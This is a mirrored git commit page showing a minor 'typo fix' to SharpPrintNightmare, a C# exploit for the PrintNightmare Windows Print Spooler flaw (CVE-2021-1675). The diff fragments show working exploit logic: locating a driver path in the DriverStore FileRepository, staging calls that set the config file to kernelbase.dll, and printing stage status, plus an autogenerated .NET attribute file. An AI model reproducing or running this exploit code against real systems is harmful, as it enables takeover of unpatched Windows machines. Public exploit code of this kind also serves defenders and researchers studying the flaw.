mirror of
https://github.com/cube0x0/CVE-2021-1675.git
synced 2024-12-22 10:46:32 +00:00
typo fix
Signed-off-by: cube0x0 <vidfelt@protonmail.com>
This commit is contained in:
parent
2180daa238
commit
bab7974d75
4 changed files with 7 additions and 3 deletions
Binary file not shown.
|
@ -75,7 +75,7 @@ namespace SharpPrintNightmare
|
|||
DRIVER_INFO_2[] drivers = getDrivers();
|
||||
foreach (DRIVER_INFO_2 driver in drivers)
|
||||
{
|
||||
//Console.WriteLine(driver.pDriverPath); //debug
|
||||
//Console.WriteLine(driver.pDriverPath); //debugcd
|
||||
if (driver.pDriverPath.ToLower().Contains("filerepository"))
|
||||
{
|
||||
pDriverPath = driver.pDriverPath;
|
||||
|
@ -85,7 +85,7 @@ namespace SharpPrintNightmare
|
|||
//could not find driver path
|
||||
if (pDriverPath == "")
|
||||
{
|
||||
Console.WriteLine($"[-] [-] pDriverPath {pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....");
|
||||
Console.WriteLine($"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....");
|
||||
Console.WriteLine($"[-] Specify pDriverPath manually");
|
||||
Environment.Exit(1);
|
||||
}
|
||||
|
@ -143,7 +143,7 @@ namespace SharpPrintNightmare
|
|||
Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error());
|
||||
Marshal.FreeHGlobal(pnt);
|
||||
|
||||
//Specify a dll that does not exists in C:\\Windows\\System32\\spool\\drivers\\x64\\3\\
|
||||
//Dont ask me why this works
|
||||
Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";
|
||||
for (int i = 1; i <= 30; i++)
|
||||
{
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
|
Loading…
Reference in a new issue